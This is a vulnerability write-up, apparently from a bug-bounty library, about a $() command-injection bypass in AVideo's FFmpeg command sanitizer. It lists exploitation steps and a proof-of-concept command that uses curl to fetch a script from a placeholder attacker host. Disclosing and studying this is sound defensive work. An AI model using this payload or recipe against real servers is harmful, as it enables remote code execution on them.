# AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()

AVideo's sanitizeFFmpegCommand denylist omits $(), so a crafted encrypted ffmpegCommand reaches sh -c and executes arbitrary commands on the standalone encoder.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33482
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-pmj8-r2j7-xg6c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-pmj8-r2j7-xg6c
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** standalone encoder ffmpeg.json.php endpoint / sanitizeFFmpegCommand
**Root cause:** Denylist sanitizer strips ; | ` < > && but not $ ( ) or newline, and the command is later interpolated into a double-quoted `sh -c "..."`, where $() is evaluated as command substitution.
**Steps:**
1. Craft command starting with allowed prefix: `ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4`
2. Build JSON payload `{"ffmpegCommand":"...","keyword":"test","time":<epoch>}`
3. Encrypt with AES-256-CBC: key `hash('sha256', saltV2)`, IV `substr(hash('sha256', systemRootPath),0,16)`, base64-encode
4. Send `codeToExecEncrypted` to `plugin/API/standAlone/ffmpeg.json.php`
5. Server decrypts via unauthenticated decryptString API, sanitizer passes $() through, execAsync runs `sh -c "ffmpeg $(curl ...) ..."`
**How found:** Code review of the denylist character class `[;|`<>]` noticing $ ( ) and newline absent, then tracing the command into the double-quoted sh -c sink in execAsync where substitution is evaluated.
**Exploitation:** Attacker must first obtain the AES key (leaked config, legacy install without saltV2 falling back to $global['salt'], or separate vuln) and know systemRootPath for the IV; payload timestamp must be within 30s. Encrypted payload is sent to the standalone encoder, which decrypts it via the main server's unauthenticated decryptString API, passes the sanitizer, and executes inside sh -c, running the substituted command before ffmpeg.
**Escalation:** Encoder typically has network access to the main AVideo server, enabling lateral movement; access to video files, config and credentials.
**Insight:** When a denylist sanitizer feeds a double-quoted `sh -c` string, check for $() and backslash-newline in addition to the obvious metacharacters; also note that `>` being stripped is bypassed by `curl -o` for file writes.

## Proof of concept (copied exactly from the original report)

**Malicious ffmpeg command with $() substitution**

```
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'
```

